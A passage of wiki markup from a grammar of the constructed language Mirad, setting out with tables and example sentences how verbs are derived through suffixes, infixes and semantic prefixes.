| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
